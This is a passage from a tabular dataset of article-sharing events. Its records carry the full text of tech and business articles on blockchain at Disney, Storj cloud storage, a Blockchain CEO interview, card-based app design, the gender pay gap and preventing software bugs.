come from foreign companies, the main working language of which is English. Besides, work for cryptocurrencies is usually related to IT projects. There are much less offers for experts in other fields. So, if you are a programmer, designer, marketer, arbiter, tester, engineer, copywriter/journalist, content manager, or financial analyst, then you have a better chance of getting employed and paid in crypto. [This article was written in cooperation with Hashflare .]",en
1460401792,CONTENT SHARED,-6249065792190816357,4340306774493623681,2707862235140647169,,,,HTML,http://cointelegraph.com/news/walt-disney-now-loves-blockchain-going-trustless-in-seattle,"Walt Disney Now Loves Blockchain, Going Trustless in Seattle","Disney has come out with a wanted ad for an intern to work on its private blockchain . Companies in diverse sectors, not just financial services , are taking notice of the blockchain and everybody seems to love it! Trustless in Seattle The position advertised has been for an intern at the Disney Private Blockchain within the DTSS (Disney Technology Solutions and Services) business unit. The project involves designing and implementing an access control mechanism using an open ledger and blockchain framework for Disney Corporate, ABC, ESPN, Disney Interactive, and Walt Disney Productions. For those who think that this might be your dream job at the happiest place on Earth, please note that the job opening is at Seattle and not Disneyland. The listing has now been removed from Disney's job portal, indicating that it might have been filled. New apps for Disneyland While this particular role is for implementing access control solutions in specific companies of Disney, blockchain can find applications in a theme park environment as well. Disney currently has a MagicBand which lets staff know the names of customers within a distance of 40 feet, using radio transmitters. Through the use of blockchain technology, all customer data as well as payments/tokens for rides could flow smoothly and securely through the entire system. Disney has been at the forefront of using technology at theme parks and it won't be surprising if a blockchain-based solution is implemented at Disneyland as well. Blockchain wedding This isn't the first connection that Disney has with the blockchain. Way back in 2014, the first blockchain wedding took place at Disneyland, Florida . David Mondrus and Joyce Bayo registered their wedding agreement on the blockchain, eliminating the role of both religious and government officials. The opening for a blockchain intern at Disney illustrates that banks and financial institutions are no longer the only companies looking at blockchain solutions. The blockchain can find applications in any industry where records need to be securely maintained and processed - whether they be land records, medical records or shipping records. We can expect companies in other industries to follow Disney's lead and start looking at blockchain solutions in the near future.",en
1460401811,CONTENT SHARED,-2261845840076552387,4340306774493623681,2707862235140647169,,,,HTML,http://cointelegraph.com/news/cloud-storage-goes-mainstream-storj-launches-beta-joining-azure-baas,Cloud Storage Goes Mainstream: Storj Launches Beta Joining Azure BaaS,"Storj Labs officially announced the beta release of their cloud platform. which will allow users to store data on a decentralized network. According to Storj Labs, the Beta is only accessible through an invite system and will be available publicly after the platform's initial testing phase. ""The long wait for our community is now over! We are delighted to release our beta platform to our community and see real world applications of the technology."" stated Shawn Wilkinson, CEO of Storj Labs. With cloud storage going mainstream, companies have gained an interest in blockchain technology as a new way of storing data. Even Microsoft has started to add Blockchain as a Service or BaaS to its Azure cloud platform, such as Ethereum and recently added Storj as well. Buterin comments Vitalik Buterin , founder of Ethereum commented on Storj's potential in the cloud industry: ""Distributed file storage systems like Storj have the potential to eliminate high markup costs and market inefficiencies and provide a much higher level of privacy , reliability and quality of service than we see today."" While Storj users can rent storage space for around $0.015 per GB per month and $0.05 for bandwidth per GB, Storj offers both end-to-end encryption for all data being transferred and the speed of peer-to-peer blockchain technology. Since all data is shared, anyone that is retrieving a file from the cloud will not endure sluggish download speeds which could limit or jeopardize productivity since the network is decentralized and not hosted in a single location. Storjcoin Storj even has its own Counter-party token known as Storjcoin which will be given to ""farmers"" who rent out their spare disk space to the decentralized network. A total supply of 500,000,000 Storjcoin X (SJCX) were sold in a crowdsale back in 2014 and can be traded on the Counter-Party wallet exchange with a price of roughly $0.09 according to CoinMarketCap . Originally an open-source project on Github, Storj has grown over the years thanks to a number of generous developers who contributed to developing, testing and troubleshooting the code for the intricate blockchain-hosted storage solution.",en
1460401839,CONTENT SHARED,6419848550542384295,4340306774493623681,2707862235140647169,,,,HTML,http://cointelegraph.com/news/our-goal-is-to-replace-your-need-for-a-bank-says-blockchain-co-founder-and-ceo-nicolas-cary,"Our Goal is to Replace Your Need for a Bank, Says Blockchain Co-Founder and CEO Nicolas Cary","CoinTelegraph met Nicolas Cary, Co-Founder and the CEO of Blockchain , at Money 20/20 in Copenhagen and asked him about the current state of the financial market, the latest fintech innovations and the company's plans. Blockchain is the world's most popular Bitcoin wallet . It is often confused with the core innovation that Bitcoin introduced. Founded in 2011, the company is one of the oldest and biggest Bitcoin's companies. Experiencing a rapid expansion in the last few years, the company has passed 6.7 million users, and the amount of wallets created on the platform is constantly increasing. The most popular block explorer Nicolas Cary says to CoinTelegraph: ""Web wallet is just a way for someone to safely and securely send and receive Bitcoin. We also have a website called Blockchain.info where you can follow all the transactions that are happening in the Bitcoin network, you can get market and price information and even pull down data if you want to do some interesting statistical work. For all the nerds out there we have developed a platform that allows enterprises and software programmers to build great things on top of the bitcoin protocol"". It is not the first time Blockchain has represented the brand at Money 20/20. There are always lots of discussions going on concerning blockchain technology, and this year is no exception. Nicolas Cary admits that there has been a big adjustment in the field during the last couple of years: ""Everyone is getting more and more curious about what is going to happen. At the same time there is a lot of misinformation and we have to come and demystify what Bitcoin is about and why blockchain technology is so important. From my perspective the two are very intertwined. There are a lot of people here that see the benefits of this utility but they are not ready to accept how it functionally works."" Emerging challenges and opportunities Blockchain in particular has made incredible progress over the past three years. It has very much succeeded in expanding its presence in the market, attracting new consumers. The industry in general has been developing as well, following huge amounts of investment, and the concentration of human capital in Bitcoin companies. Nicolas Cary says: ""We are looking forward into the future and we think we are going to continue to be able to provide financial services for a millions of people around the world and there is no financial system on the planet that can compete with that today. The use-cases for a Bitcoin continue to evolve. Right now we see cross border payments as having a great potential, as well as digital payments for digital goods being very popular - people buying songs online, people buying digital content and games , things like that"". He sees microtransactions as an interesting and evolving use-case of Bitcoin. However, it is still rare, because of the underdevelopment in fee-structures and scaling protocols. The future of the blockchain Analyzing the future of the blockchain, Nicolas Cary mentions one of the biggest challenges faced by the technology, regulations . He says: ""It's hard to regulate the blockchain technology in this sense, it's not centralized, there's no overall committees, or the general authority. However, it's already regulated by its open source nature, and the fact that it's regulated by mathematics."" The reality, however, is often different from our plans and aspirations. Many banks and other financial institutions do not feel certain about Bitcoin and its future, and most of the time, they are frightened to even try using it. Companies like Microsoft and Visa have made attempts to explore the field, but are still trying to figure out strategies that would work best. Blockchain is creating the tools necessary to integrate the big players in this space , although this hasn't been a big worry for those in the US. Major companies like Microsoft, Overstock , Dell, Wordpress, Wikipedia, which represent hundreds of billions of dollars of market composition, have already begun working with Bitcoin companies. They are accepting payments in Bitcoin, and are building services on top of the cryptocurrency . These companies aren't worried about the future of Bitcoin, so hopefully more companies will take this to mean the cryptocurrency is worthy of investment. Competition means growth The public's opinion of Bitcoin varies significantly, and many associate it exclusively with shady dealings. There has been a great deal of negativity and discussion over the moral aspects of digital currency in the news at various points in time. Nicolas Cary suggests that the public takes a look at the fundamental technology itself. One will then realize that the technology simply lacks morality. Cary says: ""Just like Google Maps doesn't care whether you use it to plan a picnic with your husband in the park or whether we are all conspired to plan a getaway after a bank robbery. The technology itself doesn't matter, it's people who use it and how they use it that matter, and that's what is the most important. I think that allowing anybody in the world instantly to transact with anybody else just as easily as sending an email is a really important thing that we need for the age of the Internet"". Indeed, times change and the development of new technologies is spurred by people's demands and interests. What at first was considered odd, eventually becomes the norm. Nicolas Cary explains: ""When rock'n'roll first came out, they said it would rotten your teeth and pollute your mind. It was really scary new sound, and what happens is people get more comfortable with things."" An open financial protocol will open new markets and decrease the transaction costs Regarding the development of Bitcoin in the longer term, Nicolas sees building an open financial protocol for digital value transfer as being one of the central focuses. He believes that it will be able to significantly change the financial sphere and open new markets and consumer groups that have been completely ignored. It will significantly decrease the transaction costs and make the whole system more efficient. Nicolas Cary says to CoinTelegraph: ""If you just pause for a minute, visit the appstore and download a Blockchain wallet you can really get the power of this. In 30 seconds you will have a piece of software that replaces your need for a bank. You can be your own bank with an open source software and transact with anybody else anywhere in the world. Once more people learn about that, that's just going to be how they accept that they can send money to anybody else, just as easy as taking a picture and sending it. I can do that now using a trusted protocol for the web, I'm pretty excited about that and I think it will change everything. I just think it will also take some time as we talk more and more about how we built things."" The largest redevelopment of the platform and the release of a new web wallet Payment service markets have changed significantly over the last few years, with major players introducing their own mobile payment systems. Google introduced Android Pay last year to compete with Apple's Apple Pay , and Samsung is joining the race with its own mobile payment system, Samsung Pay. Cary is excited about tightening competition and explains to CoinTelegraph: ""Competitions are good for everybody, it lowers the cost of goods and provides consumers with more options. If something comes along with it that puts pressure on Bitcoin that will force us to innovate even more and in the long run it's good for everybody."" The company has a lot of great things that will be coming online in the near future. Blockchain has just launched the largest redevelopment of their platform, and released a new web wallet. It is planning to spend this year pushing updates across the platform. CoinTelegraph is going to keep a close eye on the innovations that are coming out, as we are all interested to see how the platform will develop.",en
1460407450,CONTENT SHARED,-7681408188643141872,-3390049372067052505,2596549390664327450,,,,HTML,http://blog.intercom.stfi.re/the-end-of-apps-as-we-know-them/?sf=xzypkn,The End Of Apps As We Know Them - Inside Intercom,"The experience of our primary mobile screen being a bank of app icons that lead to independent destinations is dying. And that changes what we need to design and build. How we experience content via connected devices - laptops, phones, tablets, wearables - is undergoing a dramatic change. The idea of an app as an independent destination is becoming less important, and the idea of an app as a publishing tool, with related notifications that contain content and actions, is becoming more important. This will change what we design, and change our product strategy. No more screens full of app icons This is such a paradigm shift it requires plenty of explaining. Whilst it may not transpire exactly as I'm about to describe, there is no doubt what we have today - screens of apps - is going to dramatically change. Bear with me as I run through the context. The idea of having a screen full of icons, representing independent apps, that need to be opened to experience them, is making less and less sense. The idea that these apps sit in the background, pushing content into a central experience, is making more and more sense. That central experience may be something that looks like a notification centre today, or something similar to Google Now, or something entirely new. The primary design pattern here is cards. Critically it's not cards as a simple interaction design pattern for an apps content, but as containers for content that can come from any app. This distinction may appear subtle at first glance, but it's far from it. To understand it, and chart the trajectory, we need to quickly run through two things. Designing systems not destinations I covered this topic in detail in a previous post , so I'll quickly summarise here. Most of us building software are no longer designing destinations to drive people to. That was the dominant pattern for a version of the Internet that is disappearing fast. In a world of many different screens and devices, content needs to be broken down into atomic units so that it can work agnostic of the screen size or technology platform. For example, Facebook is not a website or an app. It is an eco-system of objects (people, photos, videos, comments, businesses, brands, etc.) that are aggregated in many different ways through people's newsfeeds, timelines and pages, and delivered to a range of devices, some of which haven't even been invented yet. So Facebook is not a set of webpages, or screens in an app. It's a system of objects, and relationships between them. Recent changes to iOS and Android notifications Things changed with iOS 8 and Android KitKat. Notifications used to be signposts to go to other places. A notification to tell you to open an app. To open a destination. But that is changing fast. For a while now, you can take action directly in Android notifications. Sometimes that takes you to that action in the app itself, but sometimes you can do the action directly, meaning that you don't need to open the app at all. iOS is following suit here and raising the bar. Interactive notifications. No need to open the app. The notification is the full experience. The next version of Android takes this even further, breaking notifications into independent cards. You can see that cards stack below each other. We've moved pretty quickly from notifications as signposts, to containers (cards) that include content , and actions on that content. Next up: cards housing full product experiences The next iteration is obvious. Lots and lots of notification cards that enable full product experiences and independent workflows right inside the card. Comment on the Facebook post. Retweet the tweet. Buy the item on Amazon. Check in for the flight. Share the news story. Add the reminder to your to-do list. Book the restaurant. Swap the fantasy football player. Annotate the run you just finished. Pay the bill. And on and on. Towards apps as services Breaking things right down into the individual atomic unit, including the content and actions. The atomic unit separate from the container of the app itself, so that it can show up anywhere, on any device. The atomic units are then reassembled based on context. Aggregated in a centralised stream. Or pushed to you on your watch. The content may be reformatted to enable more natural user input, optimized for your situation. Des sent me a text based message, but I'm driving so my watch reads it out to me. I speak my reply to Siri/Google and Des receives it as a text based message, because he's in work at his desk. The actions available change. All this and more is just about to happen. It may be very likely that the primary interface for interacting with apps will not be the app itself. The app is primarily a publishing tool. The number one way people use your app is through this notification layer, or aggregated card stream. Not by opening the app itself. In a world where notifications are full experiences in and of themselves, the screen of app icons makes less and less sense. Apps as destinations makes less and less sense. Why open the Facebook app when you can get the content as a notification and take action - like something, comment on something - right there at the notification or OS level. I really believe screens of apps won't exist in a few years, other than buried deep in the device UI as a secondary navigation. A concept design to make this concrete This is such a fundamental shift that to highlight where it may go, I'll start with a rough system design for how one might interact with a connected device in this world. - Imagine a vertical stream of cards, individually personalised and ranked based on who and what you care about, your current context (location, availability, etc.) and your likelihood to care about things based on historical data when you were in a similar context. - The cards can come from any source that you care about or have given permission to. - This looks a lot like Google Now, but on steroids. You will have almost as many unique sources in your stream as you have apps on your phone. - This also looks a lot like your notifications centre on your phone, but rather than merely signposts to open apps, these cards are notifying you, presenting you with the content to decide what to do next, and with the ability to interact with the content right there and then. So a card from Facebook has all the actions you would have for that content if you viewed it in the Facebook app. Like, comment, share, save, etc. all inline, with no need to open the Facebook app. Cards from travel apps allow you to book, cards from commerce apps allow you to buy, the list is endless. This is the beginning of the end for apps as destinations. Why open the app when you don't need to? Let's take this a step further. Imagine that you can scroll horizontally, and that shows you more content from the same source. So on a Facebook post, that is effectively your newsfeed presented horizontally rather than vertically. This would be the same for all sources, Twitter, Instagram, WhatsApp, news apps, etc. And of course on all devices. OK now let's go a step further again. Imagine that a parent card can support a child card, so for example a Facebook card can support (embed) a card from the BBC. Indeed something similar already exists with Twitter. This is also a little similar to the recently launched Apple Extensions, and is already happening in app development in China with Baidu and WeChat, where smaller apps are being bundled within bigger apps, only surfacing when some interaction in the UI invokes the smaller app. For example, in Baidu Maps you can find a hotel, check room availability, and make a booking, all inside the app. But again the apparent subtlety masks something much more profound. Embedded cards (child cards) within cards (parent cards) also mean you don't need to install the app to experience the content from the child card. You just need the parent card app on your device. Again, this is already happening, Twitter cards currently support Stripe payments inside the card. You don't need the New York Times app to see their content on Twitter. But imagine this pattern was widespread. Suddenly app developers have a powerful discovery channel. And some businesses may be comfortable always appearing as a child card, without ever having an app at all. One final step further. What if the cards came from other ? Like vending machines that you walk up to and pay through the card? Hotels you walk into and order your breakfast or pay for the wifi? The ramifications for websites might also be huge. If a publishing company, for example the New York Times, can push content to cards, and those cards can be seen in many different third party places (with revenue sharing agreements) why bother having a website at all? It's just a huge overhead. We will still open apps. Sometimes In this world, it feels dumb to open apps just to see what lies behind the red counter, or to have to switch between apps. Opening apps is still necessary and great for many contexts, especially composition of new content and dedicated deep workflows, and maybe changing preferences. But not for seeing what's new and interesting. A bank of app icons as a dominant design pattern feels old and inefficient now, and I think it'll disappear within a couple of years, correctly relegated behind a ""show me my apps"" action. The system will learn, creating new competitors As people interact or don't interact with cards presented to them, the system will learn when to show more or less from a specific source (app). As content from different apps will be presented side by side, this changes who you might think you are competing with. Competition is between products that do the same job, not products that are in the same category. This is already the case today; when faced with multiple notifications on a phone screen, they all compete with each other for your attention. Here at Intercom, we're big proponents of the Jobs To Be Done (JTBD) framework, which asks what Job people need to get done that your product fulfills. If you focus purely on the job, and not the industry, you realise airlines selling business class seats are competing with Skype for customers, as they address the same job: the need to have clear communication with colleagues. Similarly, apps will realise they are competing on Jobs they may not have realised their product addresses. Twitter for example, may be competing much more with apps addressing the Job of 'entertain me while I have a short amount of free time' e.g. Games and News apps, than with other social products. This intense competition means businesses will have to spend time designing great notifications/cards, because they will potentially be competing with cards from Facebook, or Amazon, or Google. The days of sending lots and lots of notifications to bring people back to an app are going away, with a much better focus on designing notifications that people engage with there and then, independent of opening the app. Three critical questions There are many signs pointing towards a near future that looks something like this. But many questions remain - these are three that I have no answers for: Will this happen at the app, notification, or OS level? One of the biggest challenges will be whether these experiences will occur: at an app level (like an evolution of Google Now), at a notification level (an evolution of the Android or iOS notification centre), or at the root OS level (a redesigned iOS for example that removes the sea of app icons). Will this be one consolidated stream, or multiple streams? Maybe we will have a friends stream, a news stream, a work stream. Will this be owned at a company level? Maybe there will be a Google version, an Apple version, etc. Or more open systems that are interoperable across platforms (like the web itself), the first of which (like Wildcard and Citia ) are being built now, could come to dominate. Towards better businesses and products This is just a sketch but at a conceptual level I think it's largely where we are headed. Large parts of this are built already; things like Google Now, Android notifications, iOS8 interactive notifications, iOS8 extensions, Twitter cards. Emerging platforms like Android Wear and Apple Watch are confirming these trends towards cards that work as notifications, content and actions. There are also a multitude of user benefits: This new paradigm matches much more closely with how real life works. We don't live our lives in silos, like the app silos that exist today. People start to forget about ""apps"" and just think about businesses and products and services. This is a great thing, the container for content should be invisible to users. This new paradigm also solves a critical problem around volume of incoming content. Navigating to lots of apps is so inefficient. A new problem emerging is an overwhelming volume of notifications. Things will need to be ranked, which will make them more manageable. It's also a better experience, apps maximising their usefulness in a quick lightweight fashion rather than dominating your attention in a slow heavyweight app-oriented experience. The constraint of an individual card also makes you think about the most important thing you could show, and only the most important actions relating to that. That constraint is very powerful. For businesses, it also starts to solve the app discoverability problem. Rather than relying on App Store promotion, advertising, or new deep in app linking to get discovered, an apps content can appear as a card in our stream, particularly when embedded in a parent card. Indeed there may not be a child app, the content and actions in that child card may come from the web. This paradigm shift also starts to ask questions of the bundle or unbundle dilemma (btw both are happening now, it's not just unbundling). Maybe in this world you can have your cake (unbundled simple focused one task experiences) and eat it too (bundled into a coherent individual stream). A deliberately designed eco system of cards where cards are simple, but can carry information and context from other cards you build. 5 key take aways These patterns reinforce two things we wrote about here on Inside Intercom early in their development. That cards are the future of the web , and designers need to design systems not destinations . Cards are happening. Systems are happening. Get fully up to speed on both of these things. Responsive design is a nice thing, but we're heading way beyond that. We're talking about designing content that may appear on an incomprehensible number of devices and in an incomprehensible number of situations. This will need new design principles, new ways of thinking about researching context. Push forward with this yourself, don't wait for it to happen. Designing the notifications, and the actions within them, will become an increasingly important part of product design. We will need to spend as much of our time on this aspect of the experience, as on the experiences within the app. Change how you think and work now, rather than when it is too late. Sketch systems, not screens. Think about who you might integrate with. Integrations as part of a product strategy are increasing, witness the explosion in available APIs, Webhooks and the emergence of services like Zapier and IFTTT. Integrations make things possible that you could never do alone. They give you access to new audiences. Make integrations part of your business plan, product strategy, and product design. I carry around both an iPhone and an Android phone. I often also have my iPad Mini. I wear a Nike Fuelband. I've tried Google Glass whenever I can (in private ;-)). When I can I'll buy an Apple Watch. We all need to dive headfirst into this, eyes open, trying to see what works and fails, trial and error. If you made it this far, thanks for reading. Whilst the trajectories seem clear, much is unknown, we'll all figure this out together. So please let us know your feedback, thoughts, ideas below, and we'll do our best to respond and keep the conversation moving forward. Update: Read our follow up piece: It's not the end of apps . There are many other people writing about these things and I'm indebted to them for sharing their thinking. Here are some key articles if you want to read more: Thanks also to my colleagues at Intercom for contributing to this and making it much much better. Like what you read here? Why not come and work with us? We're hiring for roles in Dublin and San Francisco . Want to read our product management best practices? Download our free book , Intercom on Product Management . It's recommended by folks like Ryan Singer, Hunter Walk, and Dharmesh Shah.",en
1460411211,CONTENT SHARED,2927476152522512441,4142810830429822977,-8280276458840790552,,,,HTML,http://www.chicagotribune.com/business/ct-equal-pay-day-0412-biz-20160411-story.html,Equal Pay Day in the spotlight this year,"As if you hadn't heard - and surely, you have heard - women earn less money than men. The oft-cited statistic that women earn 79 cents for every dollar men earn, based on median annual income, gets extra attention on Tuesday, Equal Pay Day, which marks how far into the year women on average have to work to catch up to men's earnings from the previous year. The perennial topic has come to the forefront thanks to Hillary Clinton 's attention to the issue and big tech companies publicly striving to close pay discrepancies. In addition, the Equal Employment Opportunity Commission has proposed a new rule requiring employers to disclose pay by gender and race, and the Paycheck Fairness Act is proposing to amend the Equal Pay Act of 1963 to prohibit retaliation for wage disclosure and strengthen penalties for equal pay violations. A flurry of surveys and reports have come out on the topic in recent months to mark Equal Pay Day and Women's History Month, which was March. *A woman's median annual salary for full-time work is $10,800 less per year than a man's - a disparity that can add up to nearly $500,000 over the course of a career, according to a report from the Joint Economic Committee Democratic Staff. That hurts retirement income, with women aged 65 and older receiving 44 percent less annually than men. *Once you account for a person's age, education, years of experience, job title, employer and location, the pay gap between men and women shrinks from 24.1 percent to 5.4 percent, according to job review site Glassdoor, which examined 505,000 salaries that U.S. workers shared on its site. The gap varies widely depending on the job. *Women hold only a third of what are known as middle-skill jobs, a growing segment of the labor force that is considered a pathway out of poverty because the jobs require less than a bachelor's degree but are relatively well-paying at $35,000 to $102,000 per year, according to a study released last month by the Institute for Women's Policy Research and supported by JPMorgan Chase . *Women find their chances at promotion stall at different points of their careers, depending on the industry, according to a study by McKinsey. Some sectors have a hard time getting women in the door even for entry-level positions - including energy, technology and automotive and industrial manufacturing - often because of low graduation rates of women from feeder programs like engineering. aelejalderuiz@tribpub.com Twitter @alexiaer",en
1460459082,CONTENT SHARED,8160885002406274828,301435144665447655,7646585100439130925,,,,HTML,https://medium.com/quality-functions/preventing-software-bugs-13f1cb2c7103,Preventing Software Bugs from Ever Occurring - Quality Functions,"Bug Type 3: Missing Specifications Description The specification was missing, therefore the implementation is missing. Simply put, these are the scenarios you never imagined when designing your product. They are otherwise referred to as the ""unknown"" type. Their impact is unpredictable and can range from embarrassing to catastrophic . Common Causes Insufficient Research You've probably heard the phrase that that when you assume, you make an ass out of you and me. Assumed value is no different and can come with tricky nuances. When these are not researched, an unknown bug hatches! Ignorance Someone realizes the ""implementation is wrong"" at release time, even though the expected behavior was not specified! Sound familiar? These bugs come into existence due to the lack 0f specifications. Highest Impact Quality Function Behaviour Driven Development Huh? Again? Yep! The deliberate discovery stage of BDD is a great way to use the wisdom of crowds and identify unknowns. The discovery stage is not unidirectional but rather, it's iterative. It is intended to create questions as well as answers. Some of these questions require further research to feed back to the team. This cycle of interactions is an excellent way to deliberately discover unknown specifications. Summing it up For the foreseeable future, as long as we create software, we will inadvertently create some bugs. But just my old man can share with me a proven technique to save my night's sleep, so we can learn some great techniques to save us a lifetime of fighting bugs. The trick is not to think about how to fight them, it is to understand how to never invite them into a fight in the first place. ""The greatest victory is that which requires no battle."" ― Sun Tzu , The Art of War I will be writing more on other quality functions that you can put in place to increase the quality of your product. If this theme and my comments resonate with you, please let me know by clicking that heart icon and recommending the article to expand the reach of this message. Join our mission We at Xolv.io are out to fix the problem of software bugs. If, like me, you are passionate about quality, click the button below to follow me here on Medium and here on Twitter , where I will update you on our progress. You can also contact me or comment below if you have any thoughts or ideas. I look forward to helping you deliver higher quality software, faster. Sam. Other articles I've written:",en
1460459103,CONTENT REMOVED,8160885002406274828,301435144665447655,7646585100439130925,,,,HTML,https://medium.com/quality-functions/preventing-software-bugs-13f1cb2c7103,Preventing Software Bugs from Ever Occurring - Quality Functions,"Bug Type 3: Missing Specifications Description The specification was missing, therefore the implementation is missing. Simply put, these are the scenarios you never imagined when designing your product. They are otherwise referred to as the ""unknown"" type. Their impact is unpredictable and can range from embarrassing to catastrophic . Common Causes Insufficient Research You've probably heard the phrase that that when you assume, you make an ass out of you and me. Assumed value is no different and can come with tricky nuances. When these are not researched, an unknown bug hatches! Ignorance Someone realizes the ""implementation is wrong"" at release time, even though the expected behavior was not specified! Sound familiar? These bugs come into existence due to the lack 0f specifications. Highest Impact Quality Function Behaviour Driven Development Huh? Again? Yep! The deliberate discovery stage of BDD is a great way to use the wisdom of crowds and identify unknowns. The discovery stage is not unidirectional but rather, it's iterative. It is intended to create questions as well as answers. Some of these questions require further research to feed back to the team. This cycle of interactions is an excellent way to deliberately discover unknown specifications. Summing it up For the foreseeable future, as long as we create software, we will inadvertently create some bugs. But just my old man can share with me a proven technique to save my night's sleep, so we can learn some great techniques to save us a lifetime of fighting bugs. The trick is not to think about how to fight them, it is to understand how to never invite them into a fight in the first place. ""The greatest victory is that which requires no battle."" ― Sun Tzu , The Art of War I will be writing more on other quality functions that you can put in place to increase the quality of your product. If this theme and my comments resonate with you, please let me know by clicking that heart icon and recommending the article to expand the reach of this message. Join our mission We at Xolv.io are out to fix the problem of software bugs. If, like me, you are passionate about quality, click the button below to follow me here on Medium and here on Twitter , where I will update you on our progress. You can also contact me or comment below if you have any thoughts or ideas. I look forward to helping you deliver higher quality software, faster. Sam. Other articles I've written:",en
1460459183,CONTENT SHARED,-4248528062574538011,301435144665447655,7646585100439130925,,,,HTML,https://medium.com/quality-functions/preventing-software-bugs-13f1cb2c7103,Preventing Software Bugs from Ever Occurring - Quality Functions,"Bug Type 3: Missing Specifications Description The specification was missing, therefore the implementation is missing. Simply put, these are the scenarios you never imagined when designing your product. They are otherwise referred to as the ""unknown"" type. Their impact is unpredictable and can range from embarrassing to catastrophic . Common Causes Insufficient Research You've probably heard the phrase that that when you assume, you make an ass out of you and me. Assumed value is no different and can come with tricky nuances. When these are not researched, an unknown bug hatches! Ignorance Someone realizes the ""implementation is wrong"" at release time, even though the expected behavior was not specified! Sound familiar? These bugs come into existence due to the lack 0f specifications. Highest Impact Quality Function Behaviour Driven Development Huh? Again? Yep! The deliberate discovery stage of BDD is a great way to use the wisdom of crowds and identify unknowns. The discovery stage is not unidirectional but rather, it's iterative. It is intended to create questions as well as answers. Some of these questions require further research to feed back to the team. This cycle of interactions is an excellent way to deliberately discover unknown specifications. Summing it up For the foreseeable future, as long as we create software, we will inadvertently create some bugs. But just my old man can share with me a proven technique to save my night's sleep, so we can learn some great techniques to save us a lifetime of fighting bugs. The trick is not to think about how to fight them, it is to understand how to never invite them into a fight in the first place. ""The greatest victory is that which requires no battle."" ― Sun Tzu , The Art of War I will be writing more on other quality functions that you can put in place to increase the quality of your product. If this theme and my comments resonate with you, please let me know by clicking that heart icon and recommending the article to expand the reach of this message. Join our mission We at Xolv.io are out to fix the problem of software bugs. If, like me, you are passionate about quality, click the button below to follow me here on Medium and here on Twitter , where I will update you on our progress. You can also contact me or comment below if you have any thoughts or ideas. I look forward to helping you deliver higher quality software, faster. Sam. Other articles I've written:",en
1460459213,CONTENT REMOVED,-4248528062574538011,301435144665447655,7646585100439130925,,,,HTML,https://medium.com/quality-functions/preventing-software-bugs-13f1cb2c7103,Preventing Software Bugs from Ever Occurring - Quality Functions,"Bug Type 3: Missing Specifications Description The specification was missing, therefore the implementation is missing. Simply put, these are the scenarios you never imagined when designing your product. They are otherwise referred to as the ""unknown"" type. Their impact is unpredictable and can range from embarrassing to catastrophic . Common Causes Insufficient Research You've probably heard the phrase that that when you assume, you make an ass out of you and me. Assumed value is no different and can come with tricky nuances. When these are not researched, an unknown bug hatches! Ignorance Someone realizes the ""implementation is wrong"" at release time, even though the expected behavior was not specified! Sound familiar? These bugs come into existence due to the lack 0f specifications. Highest Impact Quality Function Behaviour Driven Development Huh? Again? Yep! The deliberate discovery stage of BDD is a great way to use the wisdom of crowds and identify unknowns. The discovery stage is not unidirectional but rather, it's iterative. It is intended to create questions as well as answers. Some of these questions require further research to feed back to the team. This cycle of interactions is an excellent way to deliberately discover unknown specifications. Summing it up For the foreseeable future, as long as we create software, we will inadvertently create some bugs. But just my old man can share with me a proven technique to save my night's sleep, so we can learn some great techniques to save us a lifetime of fighting bugs. The trick is not to think about how to fight them, it is to understand how to never invite them into a fight in the first place. ""The greatest victory is that which requires no battle."" ― Sun Tzu , The Art of War I will be writing more on other quality functions that you can put in place to increase the quality of your product. If this theme and my comments resonate with you, please let me know by clicking that heart icon and recommending the article to expand the reach of this message. Join our mission We at Xolv.io are out to fix the problem of software bugs. If, like me, you are passionate about quality, click the button below to follow me here on Medium and here on Twitter , where I will update you on our progress. You can also contact me or comment below if you have any thoughts or ideas. I look forward to helping you deliver higher quality software, faster. Sam. Other articles I've written:",en
1460459237,CONTENT SHARED,-3265730906936163775,301435144665447655,7646585100439130925,,,,HTML,https://medium.com/quality-functions/preventing-software-bugs-13f1cb2c7103,Preventing Software Bugs from Ever Occurring - Quality Functions,"Bug Type 3: Missing Specifications Description The specification was missing, therefore the implementation is missing. Simply put, these are the scenarios you never imagined when designing your product. They are otherwise referred to as the ""unknown"" type. Their impact is unpredictable and can range from embarrassing to catastrophic . Common Causes Insufficient Research You've probably heard the phrase that that when you assume, you make an ass out of you and me. Assumed value is no different and can come with tricky nuances. When these are not researched, an unknown bug hatches! Ignorance Someone realizes the ""implementation is wrong"" at release time, even though the expected behavior was not specified! Sound familiar? These bugs come into existence due to the lack 0f specifications. Highest Impact Quality Function Behaviour Driven Development Huh? Again? Yep! The deliberate discovery stage of BDD is a great way to use the wisdom of crowds and identify unknowns. The discovery stage is not unidirectional but rather, it's iterative. It is intended to create questions as well as answers. Some of these questions require further research to feed back to the team. This cycle of interactions is an excellent way to deliberately discover unknown specifications. Summing it up For the foreseeable future, as long as we create software, we will inadvertently create some bugs. But just my old man can share with me a proven technique to save my night's sleep, so we can learn some great techniques to save us a lifetime of fighting bugs. The trick is not to think about how to fight them, it is to understand how to never invite them into a fight in the first place. ""The greatest victory is that which requires no battle."" ― Sun Tzu , The Art of War I will be writing more on other quality functions that you can put in place to increase the quality of your product. If this theme and my comments resonate with you, please let me know by clicking that heart icon and recommending the article to expand the reach of this message. Join our mission We at Xolv.io are out to fix the problem of software bugs. If, like me, you are passionate about quality, click the button below to follow me here on Medium and here on Twitter , where I will update you on our progress. You can also contact me or comment below if you have any thoughts or ideas. I look forward to helping you deliver higher quality software, faster. Sam. Other articles I've written:",en
1460459251,CONTENT REMOVED,-3265730906936163775,301435144665447655,7646585100439130925,,,,HTML,https://medium.com/quality-functions/preventing-software-bugs-13f1cb2c7103,Preventing Software Bugs from Ever Occurring - Quality Functions,"Bug Type 3: Missing Specifications Description The specification was missing, therefore the implementation is missing. Simply put, these are the scenarios you never imagined when designing your product. They are otherwise referred to as the ""unknown"" type. Their impact is unpredictable and can range from embarrassing to catastrophic . Common Causes Insufficient Research You've probably heard the phrase that that when you assume, you make an ass out of you and me. Assumed value is no different and can come with tricky nuances. When these are not researched, an unknown bug hatches! Ignorance Someone realizes the ""implementation is wrong"" at release time, even though the expected behavior was not specified! Sound familiar? These bugs come into existence due to the lack 0f specifications. Highest Impact Quality Function Behaviour Driven Development Huh? Again? Yep! The deliberate discovery stage of BDD is a great way to use the wisdom of crowds and identify unknowns. The discovery stage is not unidirectional but rather, it's iterative. It is intended to create questions as well as answers. Some of these questions require further research to feed back to the team. This cycle of interactions is an excellent way to deliberately discover unknown specifications. Summing it up For the foreseeable future, as long as we create software, we will inadvertently create some bugs. But just my old man can share with me a proven technique to save my night's sleep, so we can learn some great techniques to save us a 